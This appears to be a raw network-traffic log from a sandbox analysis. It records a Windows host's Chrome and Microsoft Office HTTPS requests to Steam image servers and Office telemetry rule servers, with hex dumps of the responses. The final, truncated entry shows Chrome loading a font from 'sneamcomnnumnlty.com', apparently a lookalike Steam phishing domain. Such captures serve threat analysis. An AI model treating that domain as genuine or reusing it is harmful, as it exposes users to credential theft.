2024-10-06 11:20:59 UTC	590	OUT	GET /public/images/v6/logo_steam_footer.png HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 11:20:59 UTC	267	IN	HTTP/1.1 200 OK Server: nginx Content-Type: image/png Content-Length: 2843 Last-Modified: Thu, 18 Jun 2020 23:12:51 GMT ETag: "5eebf4f3-b1b" Strict-Transport-Security: max-age=300 Accept-Ranges: bytes Date: Sun, 06 Oct 2024 11:20:59 GMT Connection: close
2024-10-06 11:20:59 UTC	2843	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 5c 00 00 00 1a 08 06 00 00 00 3a ee 3b 29 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 06 cc 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 34 35 20 37 39 2e 31 36 33 34 39 39 2c 20 32 30 31 38 2f 30 38 2f 31 33 2d 31 36 3a 34 30 3a 32 32 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 Data Ascii: PNGIHDR\:;)pHYsiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RD

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.7	49804	2.19.126.227	443	3504	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:20:59 UTC	590	OUT	GET /public/images/footerLogo_valve_new.png HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 11:20:59 UTC	267	IN	HTTP/1.1 200 OK Server: nginx Content-Type: image/png Content-Length: 2584 Last-Modified: Fri, 21 Feb 2020 17:48:31 GMT ETag: "5e5017ef-a18" Strict-Transport-Security: max-age=300 Accept-Ranges: bytes Date: Sun, 06 Oct 2024 11:20:59 GMT Connection: close
2024-10-06 11:20:59 UTC	2584	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 b0 00 00 00 32 08 06 00 00 00 fc cf 51 8d 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 22 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 33 2d 63 30 31 31 20 36 36 2e 31 34 35 36 36 31 2c 20 32 30 31 32 2f 30 32 2f 30 36 2d 31 34 3a 35 36 3a 32 37 20 20 Data Ascii: PNGIHDR2QtEXtSoftwareAdobe ImageReadyqe<"iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.7	49801	2.19.126.227	443	3504	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:20:59 UTC	586	OUT	GET /public/images/ico/ico_facebook.gif HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 11:20:59 UTC	267	IN	HTTP/1.1 200 OK Server: nginx Content-Type: image/gif Content-Length: 1278 Last-Modified: Tue, 14 Nov 2023 23:31:27 GMT ETag: "6554034f-4fe" Access-Control-Allow-Origin: * Accept-Ranges: bytes Date: Sun, 06 Oct 2024 11:20:59 GMT Connection: close X-N: S
2024-10-06 11:20:59 UTC	1278	IN	Data Raw: 47 49 46 38 39 61 10 00 10 00 c4 00 00 55 56 5c c9 ca cc c8 c9 cb ae af b2 52 54 5a ee ef ef fc fc fc 54 56 5c 50 52 58 e2 e3 e4 d9 d9 db 87 89 8d 38 3a 41 5c 5d 63 e8 e8 e9 f2 f2 f3 93 94 98 d7 d7 d8 fa fa fa a3 a4 a7 be bf c1 e1 e1 e2 96 97 9b d4 d5 d6 9d 9e a1 ec ec ed f3 f3 f4 94 95 99 42 44 4b 41 43 49 ff ff ff 35 37 3e 21 ff 0b 58 4d 50 20 44 61 74 61 58 4d 50 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 39 2e 31 2d 63 30 30 31 20 37 39 2e 61 38 64 34 37 35 Data Ascii: GIF89aUV\RTZTV\PRX8:A\]cBDKACI57>!XMP DataXMP<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c001 79.a8d475

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.7	49806	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:20:59 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 11:20:59 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 11:20:59 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 20b36261-201e-006e-7102-17bbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T112059Z-1657d5bbd48xsz2nuzq4vfrzg800000001v00000000031nc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 11:20:59 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.7	49807	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:20:59 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 11:20:59 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 11:20:59 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 81e42967-c01e-0014-5ee9-16a6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T112059Z-1657d5bbd48qjg85buwfdynm5w00000001xg00000000ctnb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 11:20:59 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.7	49805	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:20:59 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 11:20:59 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 11:20:59 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 09392ef7-101e-0046-3f05-1791b0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T112059Z-1657d5bbd482krtfgrg72dfbtn00000001n0000000009ckz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 11:20:59 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.7	49808	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:20:59 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 11:20:59 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 11:20:59 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: f57b7c9f-801e-00a0-4a13-172196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T112059Z-1657d5bbd48vlsxxpe15ac3q7n00000001t000000000dymy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 11:20:59 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.7	49809	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:20:59 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 11:20:59 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 11:20:59 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 6be05283-001e-00a2-2700-17d4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T112059Z-1657d5bbd48f7nlxc7n5fnfzh000000001dg00000000g42s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 11:20:59 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.7	49811	2.19.126.97	443	3504	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:20:59 UTC	405	OUT	GET /public/shared/images/responsive/logo_valve_footer.png HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 11:20:59 UTC	267	IN	HTTP/1.1 200 OK Server: nginx Content-Type: image/png Content-Length: 1846 Last-Modified: Fri, 05 Jan 2018 22:31:56 GMT ETag: "5a4ffcdc-736" Strict-Transport-Security: max-age=300 Accept-Ranges: bytes Date: Sun, 06 Oct 2024 11:20:59 GMT Connection: close
2024-10-06 11:20:59 UTC	1846	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 5c 00 00 00 1a 08 06 00 00 00 3a ee 3b 29 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 10 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 33 2d 63 30 31 31 20 36 36 2e 31 34 35 36 36 31 2c 20 32 30 31 32 2f 30 32 2f 30 36 2d 31 34 3a 35 36 3a 32 37 20 20 Data Ascii: PNGIHDR\:;)tEXtSoftwareAdobe ImageReadyqe<iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.7	49813	2.19.126.97	443	3504	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:20:59 UTC	399	OUT	GET /public/shared/images/responsive/header_logo.png HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 11:20:59 UTC	269	IN	HTTP/1.1 200 OK Server: nginx Content-Type: image/png Content-Length: 10863 Last-Modified: Fri, 05 Jan 2018 22:31:56 GMT ETag: "5a4ffcdc-2a6f" Strict-Transport-Security: max-age=300 Accept-Ranges: bytes Date: Sun, 06 Oct 2024 11:20:59 GMT Connection: close
2024-10-06 11:20:59 UTC	10863	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 e8 00 00 00 ab 08 06 00 00 00 34 09 69 7b 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c3 00 00 0e c3 01 c7 6f a8 64 00 00 29 ea 49 44 41 54 78 5e ed 9d 0d c8 7d 55 99 b7 9b 09 1a 1a 7c 19 68 70 28 1c 0c 25 31 12 a3 48 8a 44 51 12 c3 28 12 a5 48 12 c3 48 46 8a c4 48 92 a4 28 8c 42 31 92 86 a2 68 50 8c 42 31 1a 92 22 31 1a 8a 22 29 92 86 a4 28 94 22 99 18 49 12 22 99 78 07 e2 0d df fb 3a fb 39 f6 fc 8f fb 9c b3 d6 3e fb 63 ad bd af 0b 7e 9c bd 1f ff 3e 1f e7 63 ef df ba d7 fd f1 37 4f 3f fd f4 73 44 44 44 44 44 a4 0c fe f6 e8 51 44 44 44 44 44 0a c0 08 ba d4 c6 c9 a1 53 9b c3 15 67 86 4e 6a 0e 9f e1 a9 d0 af 9b c3 15 8f 87 9e Data Ascii: PNGIHDR4i{sRGBgAMAapHYsod)IDATx^}U\|hp(%1HDQ(HHFH(B1hPB1"1")("I"x:9>c~>c7O?sDDDDDQDDDDDSgNj

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.7	49810	2.19.126.97	443	3504	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:20:59 UTC	409	OUT	GET /public/shared/images/responsive/header_menu_hamburger.png HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 11:20:59 UTC	267	IN	HTTP/1.1 200 OK Server: nginx Content-Type: image/png Content-Length: 3777 Last-Modified: Fri, 05 Jan 2018 22:31:56 GMT ETag: "5a4ffcdc-ec1" Strict-Transport-Security: max-age=300 Accept-Ranges: bytes Date: Sun, 06 Oct 2024 11:20:59 GMT Connection: close
2024-10-06 11:20:59 UTC	3777	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 f4 00 00 00 d4 08 06 00 00 00 ab 83 0e c8 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 0e 63 49 44 41 54 78 da ec dd 5f 4c 54 67 1a c7 f1 77 fe 69 d0 91 ba 10 0b 8a 8b ae cb 56 6d 6b 82 36 58 bb eb 9f 86 a6 b5 69 bb b2 46 db 8b 8a 7b e9 ae ed c5 5e b6 d9 5e 34 4d 7a d1 9b 9a 36 6d 6c 9a b4 6e 62 20 5d 12 b1 80 d6 88 65 bb 61 13 c5 ed da 76 a7 fe 29 ac a0 05 61 05 45 06 29 03 23 03 c3 3e ef 30 d0 33 67 06 4b 77 77 38 2f 93 ef 27 79 02 67 86 8b c9 f0 fc ce fb 9e 73 66 de e3 1a 1f 1f 57 00 32 83 9b b7 00 20 d0 00 08 34 00 02 0d 80 40 03 04 1a 00 81 06 40 a0 01 10 68 00 04 1a 20 d0 00 08 34 00 02 0d 80 40 03 20 d0 00 81 06 40 a0 01 Data Ascii: PNGIHDRtEXtSoftwareAdobe ImageReadyqe<cIDATx_LTgwiVmk6XiF{^^4Mz6mlnb ]eav)aE)#>03gKww8/'ygsfW2 4@@h 4@ @

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.7	49816	104.21.91.169	443	3504	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:20:59 UTC	1450	OUT	GET /7d1d7c577e0751565c564646125377644741747d7b56.woff2 HTTP/1.1 Host: sneamcomnnumnlty.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://sneamcomnnumnlty.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://sneamcomnnumnlty.com/7d1d7c577e075156525b46100527505446445855125670520311 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 